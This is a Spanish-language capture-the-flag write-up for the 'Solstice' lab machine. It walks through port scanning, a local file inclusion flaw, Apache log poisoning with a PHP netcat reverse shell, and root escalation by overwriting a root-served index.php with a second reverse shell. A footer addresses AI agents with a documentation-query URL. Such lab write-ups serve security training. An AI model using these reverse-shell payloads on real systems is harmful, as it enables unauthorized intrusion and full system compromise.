# Solstice

<figure><img src="/files/x0SgNbKHpgNbR6Q6eiOF" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios abiertos

Comenzamos enumerando que servicios tiene abiertos la máquina Solstice.

```
nmap -p- --open --min-rate 5000 -Pn -n -vvv 192.168.237.72
```

<figure><img src="/files/SScVLRgSlFFENMGE84Ob" alt=""><figcaption></figcaption></figure>

Existen 8 puertos abiertos en la máquina víctima. Vamos a realizar un escaneo profundo de estos servicios.&#x20;

```
nmap -p21,22,2580,2121,3128,54787,62524 -sVC -vvv 192.168.237.72
```

<figure><img src="/files/I48BSeIuFr9o49DSUV8g" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/iS3YP0iUKtColR17hySf" alt=""><figcaption></figcaption></figure>

#### Enumeración Web

Tenemos tres puertos HTTP: 80, 8593 y 54787. Vamos a inspeccionar el contenido de los tres puertos.&#x20;

<figure><img src="/files/x0Ye5Qx6hldizoou9pi8" alt=""><figcaption><p>Puerto 80</p></figcaption></figure>

<figure><img src="/files/aCV42JbHpy0EquoRVtvV" alt=""><figcaption><p>Puerto 8593</p></figcaption></figure>

<figure><img src="/files/Af2nVmSECTKWnzUWHLXq" alt=""><figcaption><p>Puerto 54787</p></figcaption></figure>

El único puerto que parece devolver resultados es el 8593. Aquí encontramos la página de la biblioteca del sitio web.

<figure><img src="/files/bHIsqzf4X91IhqZp1VaT" alt=""><figcaption></figcaption></figure>

Si nos fijamos en la URL, puede ser un posible punto vulnerable a LFI. Vamos a verificarlo.&#x20;

<figure><img src="/files/xUs7qfAKkVMOxuPOYfDY" alt=""><figcaption></figcaption></figure>

Ahora que sabemos que la aplicación es vulnerable a LFI, trataremos de aprovechar la vulnerabilidad para obtener un shell. Una buena manera de hacerlo es mediante el envenenamiento de logs.

Probamos algunos archivos de logs interesantes (auth.log, mail.log, etc.), pero los únicos a los que pude acceder fueron los registros de access y error de Apache (/var/log/apache2/access.log y /var/log/apache2/error.log).

<figure><img src="/files/A8F4wUpET1t34vVOxaNm" alt=""><figcaption></figcaption></figure>

Sabemos que podemos acceder al registro de errores de Apache, donde es muy probable que podamos envenenar esto para obtener un shell.&#x20;

### Explotación

Sabiendo que la aplicación es vulnerable a LFI y que tenemos acceso a los logs del servidor, vamos a tratar de envenenar estos logs, añadiendo código PHP malicioso a a los logs. Para ello, ejecutamos de la siguiente manera:

```
echo "GET <?php system('nc -e /bin/bash 192.168.45.5 4444'); ?> HTTP/1.1" | nc 192.168.237.72 80 
```

<figure><img src="/files/Rn8BI64brgr7ii2AiGSq" alt=""><figcaption></figcaption></figure>

Ponemos a la escucha un oyente nc en el puerto 4444. Para que funcione la shell debemos cargar en el navegador el archivo access.log.

<figure><img src="/files/7BvLtX03T48XOFupZZgN" alt=""><figcaption></figcaption></figure>

Ya tenemos acceso de bajos privilegios en la máquina objetivo. Vamos a buscar la flag local.txt

<figure><img src="/files/kgpDhgmut8JgkHZK8vtT" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Realizamos las diversas enumeraciones para buscar posibles puntos vulnerables.

\*Cambio de IP

Buscamos todos los archivos y directorios con SUID

```
find / -user root -perm /4000 2>/dev/null
```

<figure><img src="/files/5fG9LHSusxKfNQ9LnXCm" alt=""><figcaption></figcaption></figure>

Encontramos un directorio extraño /var/tmp/sv. Vemos su contenido.&#x20;

<figure><img src="/files/kEgItt8WavxflIVrmD0T" alt=""><figcaption></figcaption></figure>

Después de ingresar al directorio, descubrimos que hay un index.php en este directorio donde todos los usuarios tienen permisos de lectura y escritura, y el propietario es root.&#x20;

El propósito es obtener una shell reversa de un usuario escribiendo una carga útil y accediendo al archivo index.php debajo del sitio.&#x20;

Enumeramos los servicios que se están ejecutando en la máquina víctima.&#x20;

```
ps -ax
```

<figure><img src="/files/29XOh6IPHfrPLAn3iTil" alt=""><figcaption></figcaption></figure>

¿Qué tenemos hasta ahora? Un archivo donde www-data tiene permisos de escritura y lectura, y un servidor interno que se ejecuta como "root".

Sabiendo esto, vamos a modificar el archivo index.php para añadir la carga útil para ejecutar la reverse shell y trataremos de cargarlo a accediendo al puerto 57 a través de localhost de la máquina "solstice".

Modificamos index.php

```
echo "<?php system('nc 192.168.45.5 1234 -e /bin/bash'); ?>" > index.php
```

<figure><img src="/files/ajOUoKaSedhnMfUneyTs" alt=""><figcaption></figcaption></figure>

El siguiente paso será acceder a 127.0.0.1:57.

```
curl 127.0.0.1:57
```

Al mismo tiempo, en nuestra máquina de ataque tenemos a la escucha un oyente nc en el puerto 1234.

<figure><img src="/files/zHk7VqC7e6ZIgJ16UVQC" alt=""><figcaption></figcaption></figure>

Como vemos, ya tenemos acceso a la máquina víctima con privilegios máximos. Solo quedará buscar la flag proof.txt<br>

<figure><img src="/files/SFG9OBacStvLapC6K4o7" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?v=OEBtyUJgu24>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/solstice.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
